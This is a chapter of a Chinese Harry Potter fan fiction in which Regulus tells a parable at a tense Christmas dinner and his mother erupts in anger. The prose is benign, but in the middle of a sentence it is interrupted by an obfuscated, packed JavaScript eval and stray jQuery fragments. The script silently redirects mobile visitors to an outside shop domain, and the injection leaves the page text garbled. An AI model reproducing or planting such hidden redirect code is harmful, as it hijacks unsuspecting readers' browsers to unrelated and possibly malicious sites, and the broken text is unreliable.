文趣网 > 都市小说 > [HP]我的弟弟小雷米 > 49.第四十九章
    49

    圣诞节的夜晚。

    雪下得很大。大片大片的雪花从漆黑的夜空里无声地落下来,落在格里莫广场12号门前那排脏兮兮的台阶上,落在对面那栋楼房的屋顶上,落在街灯昏黄的光晕里。

    雷米坐在餐桌前,盘子里的菜已经凉了。但他没有在看面前的盘子。他在看窗外的大雪。

    沃尔布加正在说话。她在说西里斯在格兰芬多的所作所为如何让布莱克家族蒙羞,说雷米在斯莱特林的表现如何不够体面,说这个家族的名声如何被这两个不肖子孙一点一点地败坏,说她为这个家付出了多少。她说得很大声,很投入,像一场精心排练过的独白。

    西里斯低着头,用叉子在盘子里戳来戳去,没有在吃东西,只是把食物从一个位置挪到另一个位置。奥赖恩坐在桌子的另一端,像一具被摆放在那里的蜡像,眼睛盯着某个不存在于这个房间里的方向。

    然后雷米开口了。

    他打断了沃尔布加的话。

    “我忽然想起了一个故事,”雷米说,目光还落在窗外的大雪上,“我要说给你们听。”

    沃尔布加的声音停了。她的眼睛瞪得很大,用一种介于震惊和愤怒之间的表情看着雷米。

    雷米没有看她。他看着窗外的雪。

    “俄国有一个神话传说,”雷米说,“曾经有一个老妇人,性格很歹毒,相貌很丑陋,平时对别人还很坏,所以死后进了地狱的火湖。她的守护天使哭泣了,祈求神让老妇人上天堂。”

    听到这里,沃尔布加脸上的表情立即从愤怒变成了某种更危险的东西——她的眼珠在微微颤动,嘴唇在微微发抖,像一座马上就要喷发的火山,岩浆已经在最深处翻涌了。

    但是,雷米却根本没有注意沃尔布加的表情。他一直注视着窗外的大雪。雪花一片一片地落在玻璃上,融化了,变成一小摊水渍,顺着玻璃往下淌。

    “神说,老妇人生前就干了一件好事——她给了一个饿肚子的人一个葱头。你就拿着这个葱头,把老妇人从地狱的火湖里拉出来吧。”

    “于是守护天使拿着那个葱头去救老妇人。老妇人握着葱头,几乎要被守护天使拉上来了。可是就在这时,地狱的火湖里那些受苦的人,一个个拉着老妇人的脚,也想要一起被拉上去。”

    “老妇人一边用脚踢那些人,一边回过头大骂:‘这个葱头是我的,不是你们的!是我的!’”

    “就在这一句话说完的那一瞬间,”雷米说,“葱头断裂了。老妇人重新跌进了地狱的火湖。她的守护天使哭着飞走了。”

    雷米讲完了。

    餐厅里安静得可怕。

    然后,沃尔布加站了起来,双手撑在桌面上,整个身体前倾,像一头即将扑过来的野兽。她的脸涨得通红,眼睛瞪得很大,瞳孔里映着吊灯的火光,像是在燃烧。

    “你说这个故事是什么意思?!”沃尔布加的声音比之前任何时候都大,大到雷米觉得桌上的盘子都在微微震动。她脖子上的青筋一根一根地凸起来,“你觉得我是个歹毒丑陋的老妇人?!你诅咒我死后在地狱里被折磨?!你敢这么咒我?!”

    雷米看着她。他的表情很平静,甚至有些困惑。他完全没有预料到沃尔布加会这么激动。

    克利切不知道什么时候出现在了餐厅的角落里,他的大眼球里蓄满了泪水,嘴巴一张一合的,发出一些模糊不清的嘟囔声。

    “我告诉你,”沃尔布加的声音又高了一个度,“我是巫师!我才不信麻瓜信的神!我信的是梅林!”

    她几乎是在尖叫了:“我死后才不会进什么地狱!你不要拿麻瓜的那些鬼东西来吓唬我!”

    雷米等她说完。等她的声音从最高点落下来,落到一个可以让他说话的音量的时候,他才开口。

    雷米说:“我说这个故事,根本没那个意思。”

    雷米说:“是因为看见窗外的大雪,所以我忽然想起了这个故事。”

    沃尔布加冷笑了一声。那笑声又尖又短。

    “狡辩!你就是在狡辩!你就是在指桑骂槐!你以为我听不出来?你以为我是傻子?你以为我已经老糊涂了,听不懂你在暗示什么?我告诉你,雷古勒斯·布莱克——我还没到老糊涂的地步!你心里想什么,我一清二楚!你就是盼着我惨死,盼着我下地狱!”

    雷米看着她。沃尔布加的胸口剧烈地起伏着,嘴巴还在动,还在骂,声音越来越大,越来越尖锐。

    雷米张了张嘴,说了一句话。他的声音不大,完全被沃尔布加的咆哮吞没了。

    没有人听到雷米说了什么。西里斯没有听到,奥赖恩没有听到,克利切没有听到,沃尔布加更没有听到。

    但雷米还是把那句话说完了。

    “是你心里觉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542859|202950||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得自己是这样的人,所以别人无论说什么,你都认为别人在说你。”

    说完这句话,雷米从椅子上站了起来。椅子向后滑了几厘米,发出轻微的声响。

    西里斯几乎是条件反射般地也站了起来——他太熟悉沃尔布加的脾气了。他知道,雷米一走,沃尔布加的目光就会落在他身上,然后她所有的怒火、所有没来得及发泄完的咒骂、所有因为雷米离开而被堵住的恶言恶语,都会像决堤的洪水一样朝他涌过来。

    西里斯不想一个人留在这里。所以雷米一站起来,他立刻就跟着站了起来,椅子都没来得及推回去,餐巾掉在了地上,他也没有弯腰去捡。

    两个人一前一后地走出了餐厅,穿过走廊,上了楼梯,进了雷米的房间。门关上了。锁上了。防护咒一道一道地叠加在门框和墙壁上。

    西里斯靠在门板上,长长地呼出一口气。

    雷米已经坐到了床上,正在把枕头拍松,然后靠在床板上,看着窗外的雪。

    窗外的雪还在下,比刚才更大了,雪花密密地织成一面白色的帘子,把整个格里莫广场遮得严严实实。

    西里斯终于开口了。

    “你刚才到底为什么要讲那个故事?”西里斯问。他的语气不是质问,也不是责备,是真的想知道。他不明白雷米为什么要在一顿本就紧张的圣诞晚餐上,主动点一把火。

    雷米没有马上回答。他看着窗外的雪,看了一会儿。

    “我觉得那个故事很美,”雷米说,“我想要讲给大家听。”

    西里斯看着雷米的脸。雷米的表情很认真,没有任何戏弄或者挑衅的意思。他相信雷米说的是真话。

    西里斯从门板上滑下来,坐到地毯上,靠着床沿,也看着窗外的雪。

    过了很久,他说:“我今晚睡在这里。”

    雷米没有回答。但他往床的里面挪了挪,腾出了一半的空间。

    沃尔布加还在气头上。雷米的房间有防护咒,沃尔布加进不来。西里斯自己的房间没有。如果半夜沃尔布加还在发火,她可能会直接破门而入。

    西里斯太了解沃尔布加了——她的怒火不会消失,只会转移目标,换一个方向。

    西里斯害怕大半夜被沃尔布加从床上揪起来,莫名其妙挨上一顿打骂。所以他睡在雷米的房间里。

    西里斯不知道自己是什么时候睡着的。